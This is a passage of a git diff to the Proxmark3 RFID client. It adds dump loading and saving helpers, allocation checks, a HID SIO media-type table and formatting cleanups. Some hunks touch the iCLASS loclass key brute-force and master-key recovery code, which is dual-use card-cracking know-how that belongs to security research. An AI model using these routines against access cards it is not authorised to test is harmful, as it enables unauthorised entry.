str_dup(keystr); + str_upper(keystrdup); + + // First pass: check if the line exists + while (fgets(line, sizeof(line), f)) { + + // The line start with # is comment, skip + if (line[0] == '#') { + continue; + } + + // Remove trailing newline for comparison + line[strcspn(line, "\n")] = '\0'; + + // UPPER CASE + str_upper(line); + + key_exists = str_startswith(line, keystrdup); + if (key_exists) { + fclose(f); + free(path); + PrintAndLogEx(INFO, "already in there..."); + return PM3_SUCCESS; + } + } + + fclose(f); + + + // Reopen for appending if line doesn't exist + f = fopen(path, "a"); + if (f == NULL) { + PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); + free(path); + return PM3_EFILE; + } + + free(path); + + // Append the line with a newline + if (fprintf(f, "%s\n", keystrdup) < 0) { + PrintAndLogEx(WARNING, "error writing to file"); + fclose(f); + return PM3_EFILE; + } + + fclose(f); + return PM3_SUCCESS; +} + int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumplen) { int res = PM3_SUCCESS; @@ -2988,18 +3249,25 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl switch (dt) { case BIN: { res = loadFile_safe(fn, ".bin", pdump, dumplen); + if (res == PM3_SUCCESS && *dumplen > maxdumplen) { + *dumplen = maxdumplen; + } break; } case EML: { res = loadFileEML_safe(fn, pdump, dumplen); + if (res == PM3_SUCCESS && *dumplen > maxdumplen) { + *dumplen = maxdumplen; + } break; } case JSON: { *pdump = calloc(maxdumplen, sizeof(uint8_t)); if (*pdump == NULL) { - PrintAndLogEx(WARNING, "fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } + res = loadFileJSON(fn, *pdump, maxdumplen, dumplen, NULL); if (res == PM3_SUCCESS) { return res; @@ -3020,20 +3288,23 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl } case MCT: { res = loadFileMCT_safe(fn, pdump, dumplen); + if (res == PM3_SUCCESS && *dumplen > maxdumplen) { + *dumplen = maxdumplen; + } break; } case FLIPPER: { - nfc_df_e dumptype; + nfc_df_e dumptype = NFC_DF_UNKNOWN; res = detect_nfc_dump_format(fn, &dumptype, true); - if (res != SUCCESS) { + if (res != PM3_SUCCESS) { break; } - if (dumptype == NFC_DF_MFC || dumptype == NFC_DF_MFU || dumptype == NFC_DF_PICOPASS) { + if (dumptype == NFC_DF_MFC || dumptype == NFC_DF_MFU || dumptype == NFC_DF_PICOPASS || dumptype == NFC_DF_15) { *pdump = calloc(maxdumplen, sizeof(uint8_t)); if (*pdump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, dumptype); @@ -3054,6 +3325,10 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl } break; } + case TAGINFO: { + //res = loadFileXML_safe(fn, ".xml", pdump, dumplen); + break; + } } return res; } @@ -3066,6 +3341,7 @@ int pm3_save_dump(const char *fn, uint8_t *d, size_t n, JSONFileType jsft) { PrintAndLogEx(INFO, "No data to save, skipping..."); return PM3_EINVARG; } + saveFile(fn, ".bin", d, n); saveFileJSON(fn, jsft, d, n, NULL); return PM3_SUCCESS; @@ -3077,7 +3353,7 @@ int pm3_save_mf_dump(const char *fn, uint8_t *d, size_t n, JSONFileType jsft) { PrintAndLogEx(INFO, "No data to save, skipping..."); return PM3_EINVARG; } - saveFile(fn, ".bin", d, n); + saveFileEx(fn, ".bin", d, n, spDump); iso14a_mf_extdump_t jd = {0}; jd.card_info.ats_len = 0; @@ -3104,3 +3380,18 @@ int pm3_save_mf_dump(const char *fn, uint8_t *d, size_t n, JSONFileType jsft) { return PM3_SUCCESS; } +int pm3_save_fm11rf08s_nonces(const char *fn, iso14a_fm11rf08s_nonces_with_data_t *d, bool with_data) { + + if (fn == NULL || d == NULL) { + PrintAndLogEx(INFO, "No data to save, skipping..."); + return PM3_EINVARG; + } + + if (with_data) { + saveFileJSON(fn, jsfFM11RF08SNoncesWithData, (uint8_t *)d, sizeof(*d), NULL); + } else { + saveFileJSON(fn, jsfFM11RF08SNonces, (uint8_t *)d, sizeof(*d), NULL); + } + return PM3_SUCCESS; +} + diff --git a/client/src/fileutils.h b/client/src/fileutils.h index c69185425..a2d31c196 100644 --- a/client/src/fileutils.h +++ b/client/src/fileutils.h @@ -72,6 +72,8 @@ typedef enum { jsfLto, jsfCryptorf, jsfNDEF, + jsfFM11RF08SNonces, + jsfFM11RF08SNoncesWithData } JSONFileType; typedef enum { @@ -81,6 +83,7 @@ typedef enum { DICTIONARY, MCT, FLIPPER, + TAGINFO, } DumpFileType_t; typedef enum { @@ -98,9 +101,16 @@ typedef enum { NFC_DF_14_3A, NFC_DF_14_3B, NFC_DF_14_4A, + NFC_DF_15, NFC_DF_PICOPASS, } nfc_df_e; +typedef enum { + ISO15_DF_UNKNOWN, + ISO15_DF_V4_BIN, + ISO15_DF_V5_BIN +} iso15_df_e; + int fileExists(const char *filename); // set a path in the path list g_session.defaultPaths @@ -114,7 +124,7 @@ void truncate_filename(char *fn, uint16_t maxlen); /** * @brief Utility function to save data to a binary file. This method takes a preferred name, but if that * file already exists, it tries with another name until it finds something suitable. - * E.g. dumpdata-15.txt + * E.g. dumpdata-15.bin * * @param preferredName * @param suffix the file suffix. Including the ".". @@ -123,6 +133,20 @@ void truncate_filename(char *fn, uint16_t maxlen); * @return 0 for ok, 1 for failz */ int saveFile(const char *preferredName, const char *suffix, const void *data, size_t datalen); +int saveFileEx(const char *preferredName, const char *suffix, const void *data, size_t datalen, savePaths_t e_save_path); + +/** + * @brief Utility function to save data to a text file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dumpdata-15.txt + * + * @param preferredName + * @param suffix the file suffix. Including the ".". + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return 0 for ok, 1 for failz + */ +int saveFileTXT(const char *preferredName, const char *suffix, const void *data, size_t datalen, savePaths_t e_save_path); /** STUB * @brief Utility function to save JSON data to a file. This method takes a preferred name, but if that @@ -138,7 +162,9 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *)); int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path); int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose); -int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite); +int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite, savePaths_t e_save_path); +int prepareJSON(json_t *root, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *)); +char *sprintJSON(JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *)); /** STUB * @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that * file already exists, it tries with another name until it finds something suitable. @@ -185,6 +211,19 @@ int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector */ int loadFile_safe(const char *preferredName, const char *suffix, void **pdata, size_t *datalen); int loadFile_safeEx(const char *preferredName, const char *suffix, void **pdata, size_t *datalen, bool verbose); + +/** + * @brief Utility function to load a text file. This method takes a preferred name. + * E.g. dumpdata-15.json, tries to search for it, and allocated memory. + * + * @param preferredName + * @param suffix the file suffix. Including the ".". + * @param data The data array to store the loaded bytes from file + * @param datalen the number of bytes loaded from file + * @return PM3_SUCCESS for ok, PM3_E* for failz +*/ +int loadFile_TXTsafe(const char *preferredName, const char *suffix, void **pdata, size_t *datalen, bool verbose); + /** * @brief Utility function to load data from a textfile (EML). This method takes a preferred name. * E.g. dumpdata-15.txt @@ -277,7 +316,32 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale */ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t keylen, uint32_t *keycnt); -int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya, void **keyb, size_t *alen, size_t *blen); +/** + * @brief Utility function to load data safely from a DICTIONARY textfile. This method takes a preferred name. + * E.g. mfc_default_keys.dic + * + * @param preferredName + * @param suffix + * @param pdata A pointer to a pointer (for reverencing the loaded dictionary) + * @param keylen the number of bytes a key per row is + * @param verbose print messages if true + * @return 0 for ok, 1 for failz +*/ +int loadFileDICTIONARY_safe_ex(const char *preferredName, const char *suffix, void **pdata, uint8_t keylen, uint32_t *keycnt, bool verbose); + +/** + * @brief Utility function to load data from a XML textfile. This method takes a preferred name. + * E.g. dumpdata-15.xml + * + * @param preferredName + * @param data The data array to store the loaded bytes from file + * @param maxdatalen maximum size of data array in bytes + * @param datalen the number of bytes loaded from file + * @return 0 for ok, 1 for failz +*/ +int loadFileXML_safe(const char *preferredName, const char *suffix, void **pdata, size_t *datalen); + +int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya, void **keyb, size_t *alen, size_t *blen, bool verbose); /** * @brief Utility function to check and convert plain mfu dump format to new mfu binary format. @@ -344,4 +408,26 @@ int pm3_save_dump(const char *fn, uint8_t *d, size_t n, JSONFileType jsft); * @return PM3_SUCCESS if OK */ int pm3_save_mf_dump(const char *fn, uint8_t *d, size_t n, JSONFileType jsft); + +/** STUB + * @brief Utility function to save FM11RF08S recovery data. + * + * @param fn + * @param d iso14a_fm11rf08s_nonces_with_data_t structure + * @param n the length of the structure + * @param with_data does the structure contain data blocks? + * @return PM3_SUCCESS if OK + */ +int pm3_save_fm11rf08s_nonces(const char *fn, iso14a_fm11rf08s_nonces_with_data_t *d, bool with_data); + + +/** + * Inserts a line into a text file only if it does not already exist. + * Returns PM3_SUCCES or, PM3_EFILE; + * + * @param filepath Path to the file. + * @param line Line to insert (should not contain a trailing newline). + */ +int insert_line_if_not_exists(const char *preferredName, const char *line); + #endif // FILEUTILS_H diff --git a/client/src/flash.c b/client/src/flash.c index d5e2b2fa1..25edb7c0f 100644 --- a/client/src/flash.c +++ b/client/src/flash.c @@ -30,6 +30,7 @@ #include "util_posix.h" #include "comms.h" #include "commonutil.h" +#include "fileutils.h" #define FLASH_START 0x100000 @@ -266,7 +267,7 @@ int flash_load(flash_file_t *ctx, bool force) { int res = PM3_EUNDEF; fd = fopen(ctx->filename, "rb"); - if (!fd) { + if (fd == NULL) { PrintAndLogEx(ERR, _RED_("Could not open file") " %s >>> ", ctx->filename); res = PM3_EFILE; goto fail; @@ -287,8 +288,8 @@ int flash_load(flash_file_t *ctx, bool force) { } ctx->elf = calloc(fsize + 1, sizeof(uint8_t)); - if (!ctx->elf) { - PrintAndLogEx(ERR, "Error, cannot allocate memory"); + if (ctx->elf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); res = PM3_EMALLOC; fclose(fd); goto fail; @@ -652,17 +653,41 @@ static const char ice[] = " !!: :!! !!: !!: !!: !!: !!! !!: !!!\n : :: :: : : :: ::: : : : : : :: : \n" _RED_(" . .. .. . . .. ... . . . . . .. . "); + +#define ICEMAN_LOGO_FN "iceman.txt" +#define ICEMAN_LOGO_SIZE (5000) // Write a file's segments to Flash int flash_write(flash_file_t *ctx) { - int len = 0; + + char ice2[ICEMAN_LOGO_SIZE] = {0}; + char ice3[ICEMAN_LOGO_SIZE] = {0}; + + bool is_loaded = false; + if (g_session.supports_colors) { + + uint8_t *iraw = NULL; + size_t irawlen = 0; + int res = loadFile_safeEx(ICEMAN_LOGO_FN, "", (void **)&iraw, &irawlen, false); + if (res == PM3_SUCCESS && irawlen > ICEMAN_LOGO_SIZE) { + irawlen = ICEMAN_LOGO_SIZE; + } + if (res == PM3_SUCCESS) { + memcpy(ice3, iraw, irawlen); + free(iraw); + is_loaded = true; + } + } + + if (is_loaded == false) { + memcpy_filter_ansi(ice2, ice, sizeof(ice), !g_session.supports_colors); + memcpy_filter_emoji(ice3, ice2, sizeof(ice2), g_session.emoji_mode); + } + + size_t ice3len = strlen(ice3); PrintAndLogEx(SUCCESS, "Writing segments for file: %s", ctx->filename); - char ice2[sizeof(ice)] = {0}; - char ice3[sizeof(ice)] = {0}; - memcpy_filter_ansi(ice2, ice, sizeof(ice), !g_session.supports_colors); - memcpy_filter_emoji(ice3, ice2, sizeof(ice2), g_session.emoji_mode); - size_t ice3len = strlen(ice3); + int len = 0; for (int i = 0; i < ctx->num_segs; i++) { flash_seg_t *seg = &ctx->segments[i]; @@ -672,6 +697,14 @@ int flash_write(flash_file_t *ctx) { uint32_t end = seg->start + length; PrintAndLogEx(SUCCESS, " 0x%08x..0x%08x [0x%x / %u blocks]", seg->start, end - 1, length, blocks); + if (is_loaded) { + if (blocks < 50) { + PrintAndLogEx(SUCCESS, "" NOLF); + } else { + fprintf(stdout, "\n\n"); + } + } + fflush(stdout); int block = 0; uint8_t *data = seg->data; @@ -693,15 +726,45 @@ int flash_write(flash_file_t *ctx) { length -= block_size; block++; - if (len < ice3len) { - fprintf(stdout, "%c", ice3[len++]); - } else { - - if ((len - ice3len) % 67 == 0) { - fprintf(stdout, "\n"); - } + // small files, like bootrom + if (blocks < 50) { fprintf(stdout, "."); len++; + fflush(stdout); + continue; + } + + // large fullimage write + if (is_loaded) { + if (len < ice3len) { + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + fprintf(stdout, "%c", ice3[len++]); + } else { + + if ((len - ice3len - 1) % 61 == 0) { + fprintf(stdout, "\n"); + } + fprintf(stdout, "."); + len++; + } + + } else { + if (len < ice3len) { + fprintf(stdout, "%c", ice3[len++]); + } else { + + if ((len - ice3len) % 67 == 0) { + fprintf(stdout, "\n"); + } + fprintf(stdout, "."); + len++; + } } fflush(stdout); } diff --git a/client/src/graph.c b/client/src/graph.c index bf5a042c0..80c1e4dc0 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -221,7 +221,7 @@ void convertGraphFromBitstreamEx(int hi, int low) { uint8_t *bits = calloc(g_GraphTraceLen, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(DEBUG, "ERR: convertGraphFromBitstreamEx, failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } @@ -470,16 +470,21 @@ bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge) { void add_temporary_marker(uint32_t position, const char *label) { if (g_TempMarkerSize == 0) { //Initialize the marker array - g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t)); - } else { //add more space to the marker array using realloc() - marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t))); + g_TempMarkers = (marker_t *)calloc(1, sizeof(marker_t)); + if (g_TempMarkers == NULL) { // Unable to allocate memory for the marker array + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + + } else { //add more space to the marker array using realloc() + + marker_t *temp = (marker_t *)realloc(g_TempMarkers, ((g_TempMarkerSize + 1) * sizeof(marker_t))); if (temp == NULL) { //Unable to reallocate memory for a new marker - PrintAndLogEx(FAILED, "Unable to allocate memory for a new temporary marker!"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(temp); return; } else { - //Set g_TempMarkers to the new pointer g_TempMarkers = temp; } } @@ -487,6 +492,10 @@ void add_temporary_marker(uint32_t position, const char *label) { g_TempMarkers[g_TempMarkerSize].pos = position; char *markerLabel = (char *)calloc(1, strlen(label) + 1); + if (markerLabel == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } strcpy(markerLabel, label); if (strlen(markerLabel) > 30) { @@ -512,6 +521,11 @@ void remove_temporary_markers(void) { buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { //calloc the memory needed uint32_t *savedBuffer = (uint32_t *)calloc(length, sizeof(uint32_t)); + if (savedBuffer == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + buffer_savestate_t bst = {0}; + return bst; + } //Make a copy of the source buffer memcpy(savedBuffer, src, (length * sizeof(uint32_t))); @@ -529,6 +543,11 @@ buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { buffer_savestate_t save_bufferS32(int32_t *src, size_t length) { //calloc the memory needed uint32_t *savedBuffer = (uint32_t *)calloc(length, (sizeof(uint32_t))); + if (savedBuffer == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + buffer_savestate_t bst = {0}; + return bst; + } //Make a copy of the source buffer memcpy(savedBuffer, src, (length * sizeof(uint32_t))); @@ -558,6 +577,11 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) { // calloc the memory needed uint32_t *savedBuffer = (uint32_t *)calloc(buffSize, sizeof(uint32_t)); + if (savedBuffer == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + buffer_savestate_t bst = {0}; + return bst; + } size_t index = 0; // Pack the source array into the backing array diff --git a/client/src/hidsio.c b/client/src/hidsio.c new file mode 100644 index 000000000..eb2dc11c2 --- /dev/null +++ b/client/src/hidsio.c @@ -0,0 +1,51 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// HID Global SIO utilities +//----------------------------------------------------------------------------- +#include "commonutil.h" +#include "hidsio.h" + +// structure and database for uid -> tagtype lookups +typedef struct { + uint8_t uid; + const char *desc; +} sioMediaTypeName_t; + +static const sioMediaTypeName_t sioMediaTypeMapping[] = { + { 0x00, "Unknown"}, + { 0x01, "DESFire"}, + { 0x02, "MIFARE"}, + { 0x03, "iCLASS (PicoPass)"}, + { 0x04, "ISO14443AL4"}, + { 0x06, "MIFARE Plus"}, + { 0x07, "Seos"}, + { 0xFF, "INVALID VALUE"} +}; + +// get a SIO media type based on the UID +// uid[8] tag uid +// returns description of the best match +const char *getSioMediaTypeInfo(uint8_t uid) { + + for (int i = 0; i < ARRAYLEN(sioMediaTypeMapping); ++i) { + if (uid == sioMediaTypeMapping[i].uid) { + return sioMediaTypeMapping[i].desc; + } + } + + //No match, return default + return sioMediaTypeMapping[ARRAYLEN(sioMediaTypeMapping) - 1].desc; +} diff --git a/client/src/hidsio.h b/client/src/hidsio.h new file mode 100644 index 000000000..f99ee9a13 --- /dev/null +++ b/client/src/hidsio.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// HID Global SIO utilities +//----------------------------------------------------------------------------- +#ifndef __HIDSIO_H_ +#define __HIDSIO_H_ + +#include "common.h" +#include "stdint.h" + +const char *getSioMediaTypeInfo(uint8_t uid); + +#endif diff --git a/client/src/iso7816/apduinfo.c b/client/src/iso7816/apduinfo.c index b7d77aca9..da9375618 100644 --- a/client/src/iso7816/apduinfo.c +++ b/client/src/iso7816/apduinfo.c @@ -438,12 +438,17 @@ int APDUDecode(uint8_t *data, int len, APDU_t *apdu) { } int APDUEncode(APDU_t *apdu, uint8_t *data, int *len) { - if (len) + if (len) { *len = 0; - if (apdu == NULL) + } + + if (apdu == NULL) { return 1; - if (apdu->le > 0x10000) + } + + if (apdu->le > 0x10000) { return 1; + } size_t dptr = 0; data[dptr++] = apdu->cla; diff --git a/client/src/loclass/cipher.c b/client/src/loclass/cipher.c index 733f6479a..5aed6c589 100644 --- a/client/src/loclass/cipher.c +++ b/client/src/loclass/cipher.c @@ -262,6 +262,10 @@ void doMAC_N(uint8_t *address_data_p, uint8_t address_data_size, uint8_t *div_ke uint8_t *address_data; uint8_t div_key[8]; address_data = (uint8_t *) calloc(address_data_size, sizeof(uint8_t)); + if (address_data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } memcpy(address_data, address_data_p, address_data_size); memcpy(div_key, div_key_p, 8); diff --git a/client/src/loclass/cipherutils.c b/client/src/loclass/cipherutils.c index 9a55979ff..2ff42274d 100644 --- a/client/src/loclass/cipherutils.c +++ b/client/src/loclass/cipherutils.c @@ -126,43 +126,67 @@ uint64_t x_bytes_to_num(uint8_t *src, size_t len) { } void printarr(const char *name, uint8_t *arr, int len) { - if (name == NULL || arr == NULL) return; + + if (name == NULL || arr == NULL) { + return; + } int cx, i; size_t outsize = 40 + strlen(name) + len * 5; + char *output = calloc(outsize, sizeof(char)); + if (output == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + cx = snprintf(output, outsize, "uint8_t %s[] = {", name); for (i = 0; i < len; i++) { - if (cx < outsize) + if (cx < outsize) { cx += snprintf(output + cx, outsize - cx, "0x%02x,", *(arr + i)); //5 bytes per byte + } } - if (cx < outsize) + + if (cx < outsize) { snprintf(output + cx, outsize - cx, "};"); + } + PrintAndLogEx(INFO, output); free(output); } void printarr_human_readable(const char *title, uint8_t *arr, int len) { - if (arr == NULL) return; + if (arr == NULL) { + return; + } int cx = 0, i; size_t outsize = 100 + strlen(title) + (len * 4); char *output = calloc(outsize, sizeof(char)); PrintAndLogEx(INFO, "%s", title); + for (i = 0; i < len; i++) { + if (i % 16 == 0) { if (i == 0) { - if (cx < outsize) + + if (cx < outsize) { cx += snprintf(output + cx, outsize - cx, "%02x| ", i); + } + } else { - if (cx < outsize) + + if (cx < outsize) { cx += snprintf(output + cx, outsize - cx, "\n%02x| ", i); + } } } - if (cx < outsize) + + if (cx < outsize) { cx += snprintf(output + cx, outsize - cx, "%02x ", *(arr + i)); + } } PrintAndLogEx(INFO, output); free(output); @@ -229,11 +253,14 @@ static int testReversedBitstream(void) { } int testCipherUtils(void) { - PrintAndLogEx(INFO, "Testing some internals..."); - int retval = testBitStream(); - if (retval == PM3_SUCCESS) - retval = testReversedBitstream(); - return retval; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "---------------- " _CYAN_("Loclass selftests") " ----------------"); + + int res = testBitStream(); + if (res == PM3_SUCCESS) { + res = testReversedBitstream(); + } + return res; } #endif diff --git a/client/src/loclass/elite_crack.c b/client/src/loclass/elite_crack.c index bcd1324ab..ad7beb249 100644 --- a/client/src/loclass/elite_crack.c +++ b/client/src/loclass/elite_crack.c @@ -248,10 +248,12 @@ void hash2(uint8_t *key64, uint8_t *outp_keytable) { } if (outp_keytable != NULL) { + for (uint8_t i = 0 ; i < 8 ; i++) { memcpy(outp_keytable + i * 16, y[i], 8); memcpy(outp_keytable + 8 + i * 16, z[i], 8); } + } else { printarr_human_readable("hash2", outp_keytable, 128); } @@ -329,7 +331,9 @@ static void *bf_thread(void *thread_arg) { int found = __atomic_load_n(&loclass_found, __ATOMIC_SEQ_CST); - if (found != 0xFF) return NULL; + if (found != 0xFF) { + return NULL; + } //Update the keytable with the brute-values for (uint8_t i = 0; i < numbytes_to_recover; i++) { @@ -366,6 +370,10 @@ static void *bf_thread(void *thread_arg) { if (memcmp(calculated_MAC, mac, 4) == 0) { loclass_thread_ret_t *r = (loclass_thread_ret_t *)calloc(sizeof(loclass_thread_ret_t), sizeof(uint8_t)); + if (r == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + pthread_exit(NULL); + } for (uint8_t i = 0 ; i < numbytes_to_recover; i++) { r->values[i] = keytable[bytes_to_recover[i]] & 0xFF; @@ -379,15 +387,22 @@ static void *bf_thread(void *thread_arg) { #define _CLR_ "\x1b[0K" if (numbytes_to_recover == 3) { + if ((brute > 0) && ((brute & 0xFFFF) == 0)) { PrintAndLogEx(INPLACE, "[ %02x %02x %02x ] %8u / %u", bytes_to_recover[0], bytes_to_recover[1], bytes_to_recover[2], brute, 0xFFFFFF); } + } else if (numbytes_to_recover == 2) { - if ((brute > 0) && ((brute & 0x3F) == 0)) + + if ((brute > 0) && ((brute & 0x3F) == 0)) { PrintAndLogEx(INPLACE, "[ %02x %02x ] %5u / %u" _CLR_, bytes_to_recover[0], bytes_to_recover[1], brute, 0xFFFF); + } + } else { - if ((brute > 0) && ((brute & 0x1F) == 0)) + + if ((brute > 0) && ((brute & 0x1F) == 0)) { PrintAndLogEx(INPLACE, "[ %02x ] %3u / %u" _CLR_, bytes_to_recover[0], brute, 0xFF); + } } } pthread_exit(NULL); @@ -420,15 +435,19 @@ int bruteforceItem(loclass_dumpdata_t item, uint16_t keytable[]) { uint8_t bytes_to_recover[3] = {0}; uint8_t numbytes_to_recover = 0; for (uint8_t i = 0; i < 8; i++) { - if (keytable[key_index[i]] & (LOCLASS_CRACKED | LOCLASS_BEING_CRACKED)) continue; + + if (keytable[key_index[i]] & (LOCLASS_CRACKED | LOCLASS_BEING_CRACKED)) { + continue; + } bytes_to_recover[numbytes_to_recover++] = key_index[i]; + keytable[key_index[i]] |= LOCLASS_BEING_CRACKED; if (numbytes_to_recover > 3) { PrintAndLogEx(FAILED, "The CSN requires > 3 byte bruteforce, not supported"); - PrintAndLogEx(INFO, "CSN %s", sprint_hex(item.csn, 8)); - PrintAndLogEx(INFO, "HASH1 %s", sprint_hex(key_index, 8)); + PrintAndLogEx(INFO, "CSN..... %s", sprint_hex_inrow(item.csn, 8)); + PrintAndLogEx(INFO, "HASH1... %s", sprint_hex_inrow(key_index, 8)); PrintAndLogEx(NORMAL, ""); //Before we exit, reset the 'BEING_CRACKED' to zero keytable[bytes_to_recover[0]] &= ~LOCLASS_BEING_CRACKED; @@ -439,6 +458,7 @@ int bruteforceItem(loclass_dumpdata_t item, uint16_t keytable[]) { } if (numbytes_to_recover == 0) { + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "No bytes to recover, exiting"); return PM3_ESOFT; } @@ -468,8 +488,9 @@ int bruteforceItem(loclass_dumpdata_t item, uint16_t keytable[]) { } // wait for threads to terminate: void *ptrs[loclass_tc]; - for (size_t i = 0; i < loclass_tc; i++) + for (size_t i = 0; i < loclass_tc; i++) { pthread_join(threads[i], &ptrs[i]); + } // was it a success? int res = PM3_SUCCESS; @@ -657,7 +678,6 @@ int bruteforceItem(loclass_dumpdata_t item, uint16_t keytable[]) { * @return 0 for ok, 1 for failz */ int calculateMasterKey(uint8_t first16bytes[], uint8_t kcus[]) { - mbedtls_des_context ctx_e; uint8_t z_0[8] = {0}; uint8_t y_0[8] = {0}; @@ -676,8 +696,9 @@ int calculateMasterKey(uint8_t first16bytes[], uint8_t kcus[]) { permutekey_rev(z_0, z_0_rev); // ~K_cus = DESenc(z[0], y[0]) - mbedtls_des_setkey_enc(&ctx_e, z_0_rev); - mbedtls_des_crypt_ecb(&ctx_e, y_0, key64_negated); + mbedtls_des_context ctx; + mbedtls_des_setkey_enc(&ctx, z_0_rev); + mbedtls_des_crypt_ecb(&ctx, y_0, key64_negated); key64[0] = ~key64_negated[0]; key64[1] = ~key64_negated[1]; @@ -693,20 +714,24 @@ int calculateMasterKey(uint8_t first16bytes[], uint8_t kcus[]) { uint8_t key64_stdformat[8] = {0}; permutekey_rev(key64, key64_stdformat); - mbedtls_des_setkey_enc(&ctx_e, key64_stdformat); - mbedtls_des_crypt_ecb(&ctx_e, key64_negated, result); + mbedtls_des_setkey_enc(&ctx, key64_stdformat); + mbedtls_des_crypt_ecb(&ctx, key64_negated, result); + mbedtls_des_free(&ctx); - if (kcus != NULL) + // copy key to out array + if (kcus != NULL) { memcpy(kcus, key64, 8); + } if (memcmp(z_0, result, 4) != 0) { - PrintAndLogEx(WARNING, _RED_("Failed to verify") " calculated master key (k_cus)! Something is wrong."); + PrintAndLogEx(WARNING, "Calculated master key, k_cus ( %s )", _RED_("fail")); + PrintAndLogEx(NORMAL, ""); return PM3_ESOFT; } - PrintAndLogEx(SUCCESS, "----- " _CYAN_("High security custom key (Kcus)") " -----"); - PrintAndLogEx(SUCCESS, "Standard format %s", sprint_hex(key64_stdformat, 8)); - PrintAndLogEx(SUCCESS, "iCLASS format " _GREEN_("%s"), sprint_hex(key64, 8)); + PrintAndLogEx(SUCCESS, "--- " _CYAN_("High security custom key (Kcus)") " ---"); + PrintAndLogEx(SUCCESS, "Standard format... %s", sprint_hex_inrow(key64_stdformat, sizeof(key64_stdformat))); + PrintAndLogEx(SUCCESS, "iCLASS format..... " _GREEN_("%s"), sprint_hex_inrow(key64, sizeof(key64))); PrintAndLogEx(SUCCESS, "Key verified ( " _GREEN_("ok") " )"); PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; @@ -719,11 +744,11 @@ int calculateMasterKey(uint8_t first16bytes[], uint8_t kcus[]) { * @return */ int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) { - uint8_t i; + size_t itemsize = sizeof(loclass_dumpdata_t); loclass_dumpdata_t *attack = (loclass_dumpdata_t *) calloc(itemsize, sizeof(uint8_t)); if (attack == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return 